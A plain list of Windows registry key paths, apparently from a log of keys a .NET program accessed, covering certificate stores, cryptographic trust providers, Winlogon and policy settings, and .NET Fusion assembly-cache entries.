HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\TrustedPeople\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\TrustedPeople
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\TrustedPeople
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\TrustedPeople\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\TrustedPeople
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\CTLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\Certificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\CRLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\trust\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\trust
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\trust
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\trust\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\trust
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Diagnostics
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\UserenvDebugLevel
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\GpSvcDebugLevel
HKEY_LOCAL_MACHINE\System\Setup
HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemSetupInProgress
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\UrlDllGetObjectUrl
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\UrlDllGetObjectUrl
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\AuthRoot
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\Escalation
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\WMR
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledProcesses\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\9A54A274
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledSessions\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\WinHttpSettings
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableInetUnknownAuth
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllVerifyEncodedSignature
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllVerifyEncodedSignature
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllImportPublicKeyInfoEx2
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllImportPublicKeyInfoEx2
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Certificate\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Initialization\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Message\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Signature\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\CertCheck\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\DiagnosticPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Cleanup\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Cleanup\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Cleanup\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6d1b38\4b18ab39
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index21
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it-IT_b77a5c561934e089
